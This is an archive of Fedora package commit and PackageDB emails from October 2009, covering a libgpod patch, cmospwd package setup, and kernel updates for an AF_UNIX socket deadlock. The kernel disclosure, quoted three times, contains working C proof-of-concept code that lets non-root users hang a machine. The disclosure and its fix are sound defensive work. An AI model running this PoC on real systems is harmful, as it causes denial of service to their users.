Modified Files:
	libgpod-utf16-parsing.patch libgpod.spec 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-5
- Fix UTF-16 string parsing patch again


libgpod-utf16-parsing.patch:
 b/src/itdb_itunesdb.c             |   72 ++++++++++++++++++++++----------------
 libgpod-0.7.2/src/itdb_itunesdb.c |    1 
 2 files changed, 43 insertions(+), 30 deletions(-)

Index: libgpod-utf16-parsing.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/devel/libgpod-utf16-parsing.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libgpod-utf16-parsing.patch	17 Oct 2009 14:22:01 -0000	1.1
+++ libgpod-utf16-parsing.patch	19 Oct 2009 16:17:35 -0000	1.2
@@ -99,3 +99,13 @@ index c41e758..3f352e1 100644
        }
        break;
    case MHOD_ID_PODCASTURL:
+--- libgpod-0.7.2/src/itdb_itunesdb.c.old	2009-10-19 16:53:13.000000000 +0100
++++ libgpod-0.7.2/src/itdb_itunesdb.c	2009-10-19 16:53:57.000000000 +0100
+@@ -1423,6 +1423,7 @@ static MHODData get_mhod (FImport *fimp,
+   case MHOD_ID_SORT_TVSHOW:
+       result.data.string = extract_mhod_string (cts, seek);
+       if (result.data.string == NULL) {
++	  *ml = mhod_len;
+ 	  return result;
+       }
+       break;


Index: libgpod.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/devel/libgpod.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- libgpod.spec	17 Oct 2009 14:22:01 -0000	1.27
+++ libgpod.spec	19 Oct 2009 16:17:36 -0000	1.28
@@ -3,7 +3,7 @@
 Summary: Library to access the contents of an iPod
 Name: libgpod
 Version: 0.7.2
-Release: 3%{?dist}
+Release: 5%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtkpod.org/libgpod.html
@@ -141,6 +141,12 @@ libgpod library.
 
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-5
+- Fix UTF-16 string parsing patch again
+
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-4
+- Update UTF-16 string parsing patch
+
 * Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-3
 - Fix crasher when parsing UTF-16 strings with a BOM (#517642)
 



From pkgdb at fedoraproject.org  Mon Oct 19 16:18:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:18:49 +0000
Subject: [pkgdb] mingw32-freeglut was added for rjones
Message-ID: <20091019161849.D29E710F850@bastion2.fedora.phx.redhat.com>

kevin has added Package mingw32-freeglut with summary Fedora MinGW alternative to the OpenGL Utility Toolkit (GLUT)
kevin has approved Package mingw32-freeglut
kevin has added a Fedora devel branch for mingw32-freeglut with an owner of rjones
kevin has approved mingw32-freeglut in Fedora devel
kevin has approved Package mingw32-freeglut
kevin has set commit to Approved for 107427 on mingw32-freeglut (Fedora devel)
kevin has set checkout to Approved for 107427 on mingw32-freeglut (Fedora devel)
kevin has set build to Approved for 107427 on mingw32-freeglut (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-freeglut



From pkgdb at fedoraproject.org  Mon Oct 19 16:18:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:18:52 +0000
Subject: [pkgdb] xmltooling summary updated by toshio
Message-ID: <20091019161853.178BF10F88F@bastion2.fedora.phx.redhat.com>

toshio set package xmltooling summary to XML signing and encrytion library

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:18:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:18:52 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161853.1E94810F8AB@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora 12 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:18:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:18:52 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161853.2612610F8AD@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora EPEL 5 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:18:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:18:52 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161853.30A0010F8B3@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora devel to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:18:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:18:53 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161853.4B12010F8B8@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora EPEL 4 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:18:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:18:53 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161853.66DF310F8B4@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora 11 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From kyle at fedoraproject.org  Mon Oct 19 16:19:04 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Mon, 19 Oct 2009 16:19:04 +0000 (UTC)
Subject: rpms/kernel/F-10
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch, NONE,
	1.1.2.1 kernel.spec, 1.1206.2.108, 1.1206.2.109
Message-ID: <20091019161904.F3E6711C00DC@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20701

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch 
Log Message:
* Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
  rhbz#529626.


af_unix-fix-deadlock-connecting-to-shutdown-socket.patch:
 af_unix.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE af_unix-fix-deadlock-connecting-to-shutdown-socket.patch ---
>From linux-kernel-owner+kyle=40mcmartin.ca-S1753471AbZJSGXV at vger.kernel.org Mon Oct 19 02:23:31 2009
Message-ID: <4ADC010C.5070809 at hitachi.com>
Date:	Mon, 19 Oct 2009 15:02:52 +0900
From:	Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
Subject: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS
attack against the local machine by non-root users.

How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
    namespace(*), and shutdown(2) it.
 2. Repeat connect(2)ing to the listening socket from the other sockets
    until the connection backlog is full-filled.
 3. connect(2) takes the CPU forever. If every core is taken, the
    system hangs.

PoC code: (Run as many times as cores on SMP machines.)

int main(void)
{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}

(*) Make sun_path[0] = 0 to use the abstruct namespace.
    If a file-based socket is used, the system doesn't deadlock because
    of context switches in the file system layer.

Why this happens:
 Error checks between unix_socket_connect() and unix_wait_for_peer() are
 inconsistent. The former calls the latter to wait until the backlog is
 processed. Despite the latter returns without doing anything when the
 socket is shutdown, the former doesn't check the shutdown state and
 just retries calling the latter forever.

Patch:
 The patch below adds shutdown check into unix_socket_connect(), so
 connect(2) to the shutdown socket will return -ECONREFUSED.

Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
Signed-off-by: Masanori Yoshida <masanori.yoshida.tv at hitachi.com>
---
 net/unix/af_unix.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index 51ab497..fc820cd 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1074,6 +1074,8 @@ restart:
 	err = -ECONNREFUSED;
 	if (other->sk_state != TCP_LISTEN)
 		goto out_unlock;
+	if (other->sk_shutdown & RCV_SHUTDOWN)
+		goto out_unlock;

 	if (unix_recvq_full(other)) {
 		err = -EAGAIN;
-- 
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: tomoki.sekiyama.qu at hitachi.com

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.108
retrieving revision 1.1206.2.109
diff -u -p -r1.1206.2.108 -r1.1206.2.109
--- kernel.spec	17 Oct 2009 13:49:57 -0000	1.1206.2.108
+++ kernel.spec	19 Oct 2009 16:19:04 -0000	1.1206.2.109
@@ -809,6 +809,9 @@ Patch16100: netlink-fix-typo-in-initiali
 # fix null deref in r128
 Patch16200: drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch
 
+# rhbz#529626
+Patch16201: af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1464,6 +1467,9 @@ ApplyPatch netlink-fix-typo-in-initializ
 # fix null deref in r128
 ApplyPatch drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch
 
+# rhbz#529626
+ApplyPatch af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2039,6 +2045,10 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
+- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
+  rhbz#529626.
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.38-170.2.108.rc1
 - Linux 2.6.27.38-rc1
 



From kyle at fedoraproject.org  Mon Oct 19 16:19:42 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Mon, 19 Oct 2009 16:19:42 +0000 (UTC)
Subject: rpms/kernel/F-11
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch, NONE,
	1.1 kernel.spec, 1.1769, 1.1770
Message-ID: <20091019161942.82B0211C00DC@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20908

Modified Files:
	kernel.spec 
Added Files:
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch 
Log Message:
* Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
  rhbz#529626 local DoS.


af_unix-fix-deadlock-connecting-to-shutdown-socket.patch:
 af_unix.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE af_unix-fix-deadlock-connecting-to-shutdown-socket.patch ---
>From linux-kernel-owner+kyle=40mcmartin.ca-S1753471AbZJSGXV at vger.kernel.org Mon Oct 19 02:23:31 2009
Message-ID: <4ADC010C.5070809 at hitachi.com>
Date:	Mon, 19 Oct 2009 15:02:52 +0900
From:	Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
Subject: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS
attack against the local machine by non-root users.

How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
    namespace(*), and shutdown(2) it.
 2. Repeat connect(2)ing to the listening socket from the other sockets
    until the connection backlog is full-filled.
 3. connect(2) takes the CPU forever. If every core is taken, the
    system hangs.

PoC code: (Run as many times as cores on SMP machines.)

int main(void)
{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}

(*) Make sun_path[0] = 0 to use the abstruct namespace.
    If a file-based socket is used, the system doesn't deadlock because
    of context switches in the file system layer.

Why this happens:
 Error checks between unix_socket_connect() and unix_wait_for_peer() are
 inconsistent. The former calls the latter to wait until the backlog is
 processed. Despite the latter returns without doing anything when the
 socket is shutdown, the former doesn't check the shutdown state and
 just retries calling the latter forever.

Patch:
 The patch below adds shutdown check into unix_socket_connect(), so
 connect(2) to the shutdown socket will return -ECONREFUSED.

Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
Signed-off-by: Masanori Yoshida <masanori.yoshida.tv at hitachi.com>
---
 net/unix/af_unix.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index 51ab497..fc820cd 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1074,6 +1074,8 @@ restart:
 	err = -ECONNREFUSED;
 	if (other->sk_state != TCP_LISTEN)
 		goto out_unlock;
+	if (other->sk_shutdown & RCV_SHUTDOWN)
+		goto out_unlock;

 	if (unix_recvq_full(other)) {
 		err = -EAGAIN;
-- 
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: tomoki.sekiyama.qu at hitachi.com

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1769
retrieving revision 1.1770
diff -u -p -r1.1769 -r1.1770
--- kernel.spec	17 Oct 2009 13:44:04 -0000	1.1769
+++ kernel.spec	19 Oct 2009 16:19:42 -0000	1.1770
@@ -815,6 +815,9 @@ Patch16310: input-i8042-try-disabling-an
 # fix null deref in r128
 Patch16400: drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch
 
+# rhbz#529626
+Patch16401: af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1528,6 +1531,9 @@ ApplyPatch input-i8042-try-disabling-and
 # fix null deref in r128
 ApplyPatch drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch
 
+# rhbz#529626
+ApplyPatch af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2116,6 +2122,10 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
+- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
+  rhbz#529626 local DoS.
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-90
 - Fix null deref in r128 (F10#487546)
 



From pkgdb at fedoraproject.org  Mon Oct 19 16:19:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:19:58 +0000
Subject: [pkgdb] cmospwd was added for atorkhov
Message-ID: <20091019161958.B0A2810F86E@bastion2.fedora.phx.redhat.com>

kevin has added Package cmospwd with summary BIOS password cracker utility
kevin has approved Package cmospwd
kevin has added a Fedora devel branch for cmospwd with an owner of atorkhov
kevin has approved cmospwd in Fedora devel
kevin has approved Package cmospwd
kevin has set commit to Approved for 107427 on cmospwd (Fedora devel)
kevin has set checkout to Approved for 107427 on cmospwd (Fedora devel)
kevin has set build to Approved for 107427 on cmospwd (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cmospwd



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:00 +0000
Subject: [pkgdb] cmospwd summary updated by kevin
Message-ID: <20091019162000.76F7610F892@bastion2.fedora.phx.redhat.com>

kevin set package cmospwd summary to BIOS password cracker utility

To make changes to this package see:
  /pkgdb/packages/name/cmospwd



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:00 +0000
Subject: [pkgdb] cmospwd (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162000.8147F10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for cmospwd
kevin has set commit to Approved for 107427 on cmospwd (Fedora 11)
kevin has set checkout to Approved for 107427 on cmospwd (Fedora 11)
kevin has set build to Approved for 107427 on cmospwd (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cmospwd



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:00 +0000
Subject: [pkgdb] cmospwd (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162000.8A89C10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for cmospwd
kevin has set commit to Approved for 107427 on cmospwd (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on cmospwd (Fedora EPEL 5)
kevin has set build to Approved for 107427 on cmospwd (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cmospwd



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:00 +0000
Subject: [pkgdb] cmospwd (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162000.9339B10F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for cmospwd
kevin has set commit to Approved for 107427 on cmospwd (Fedora 10)
kevin has set checkout to Approved for 107427 on cmospwd (Fedora 10)
kevin has set build to Approved for 107427 on cmospwd (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cmospwd



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:00 +0000
Subject: [pkgdb] cmospwd (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162000.A6D1C10F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for cmospwd
kevin has set commit to Approved for 107427 on cmospwd (Fedora 12)
kevin has set checkout to Approved for 107427 on cmospwd (Fedora 12)
kevin has set build to Approved for 107427 on cmospwd (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cmospwd



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:00 +0000
Subject: [pkgdb] cmospwd (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162000.B8FE010F8BA@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for cmospwd
kevin has set commit to Approved for 107427 on cmospwd (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on cmospwd (Fedora EPEL 4)
kevin has set build to Approved for 107427 on cmospwd (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cmospwd



From kevin at fedoraproject.org  Mon Oct 19 16:20:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:20:11 +0000 (UTC)
Subject: rpms/cmospwd/devel - New directory
Message-ID: <20091019162011.36C9411C043A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/cmospwd/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU20996/rpms/cmospwd/devel

Log Message:
Directory /cvs/pkgs/rpms/cmospwd/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:20:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:20:11 +0000 (UTC)
Subject: rpms/cmospwd - New directory
Message-ID: <20091019162011.165B611C02A4@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/cmospwd
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU20996/rpms/cmospwd

Log Message:
Directory /cvs/pkgs/rpms/cmospwd added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:20:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:20:18 +0000 (UTC)
Subject: rpms/cmospwd Makefile,NONE,1.1
Message-ID: <20091019162018.1BD9811C02A4@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/cmospwd
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU20996/rpms/cmospwd

Added Files:
	Makefile 
Log Message:
Setup of module cmospwd


--- NEW FILE Makefile ---
# Top level Makefile for module cmospwd
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:20:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:20:18 +0000 (UTC)
Subject: rpms/cmospwd/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091019162018.5181311C02A4@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/cmospwd/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU20996/rpms/cmospwd/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module cmospwd


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: cmospwd
# $Id: Makefile,v 1.1 2009/10/19 16:20:18 kevin Exp $
NAME := cmospwd
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kyle at fedoraproject.org  Mon Oct 19 16:20:29 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Mon, 19 Oct 2009 16:20:29 +0000 (UTC)
Subject: rpms/kernel/F-12
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch, NONE,
	1.1 kernel.spec, 1.1873, 1.1874
Message-ID: <20091019162029.7D6CA11C02A4@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21338

Modified Files:
	kernel.spec 
Added Files:
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch 
Log Message:
* Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
  rhbz#529626.


af_unix-fix-deadlock-connecting-to-shutdown-socket.patch:
 af_unix.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE af_unix-fix-deadlock-connecting-to-shutdown-socket.patch ---
>From linux-kernel-owner+kyle=40mcmartin.ca-S1753471AbZJSGXV at vger.kernel.org Mon Oct 19 02:23:31 2009
Message-ID: <4ADC010C.5070809 at hitachi.com>
Date:	Mon, 19 Oct 2009 15:02:52 +0900
From:	Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
Subject: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS
attack against the local machine by non-root users.

How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
    namespace(*), and shutdown(2) it.
 2. Repeat connect(2)ing to the listening socket from the other sockets
    until the connection backlog is full-filled.
 3. connect(2) takes the CPU forever. If every core is taken, the
    system hangs.

PoC code: (Run as many times as cores on SMP machines.)

int main(void)
{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}

(*) Make sun_path[0] = 0 to use the abstruct namespace.
    If a file-based socket is used, the system doesn't deadlock because
    of context switches in the file system layer.

Why this happens:
 Error checks between unix_socket_connect() and unix_wait_for_peer() are
 inconsistent. The former calls the latter to wait until the backlog is
 processed. Despite the latter returns without doing anything when the
 socket is shutdown, the former doesn't check the shutdown state and
 just retries calling the latter forever.

Patch:
 The patch below adds shutdown check into unix_socket_connect(), so
 connect(2) to the shutdown socket will return -ECONREFUSED.

Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
Signed-off-by: Masanori Yoshida <masanori.yoshida.tv at hitachi.com>
---
 net/unix/af_unix.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index 51ab497..fc820cd 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1074,6 +1074,8 @@ restart:
 	err = -ECONNREFUSED;
 	if (other->sk_state != TCP_LISTEN)
 		goto out_unlock;
+	if (other->sk_shutdown & RCV_SHUTDOWN)
+		goto out_unlock;

 	if (unix_recvq_full(other)) {
 		err = -EAGAIN;
-- 
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: tomoki.sekiyama.qu at hitachi.com

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1873
retrieving revision 1.1874
diff -u -p -r1.1873 -r1.1874
--- kernel.spec	17 Oct 2009 12:53:08 -0000	1.1873
+++ kernel.spec	19 Oct 2009 16:20:29 -0000	1.1874
@@ -758,6 +758,9 @@ Patch14300: ahci-revert-restore-sb600-sa
 # fix ACPI boot hang/crash (#513680)
 Patch14400: acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch
 
+# fix local DoS connecting to shutdown unix socket (#529626)
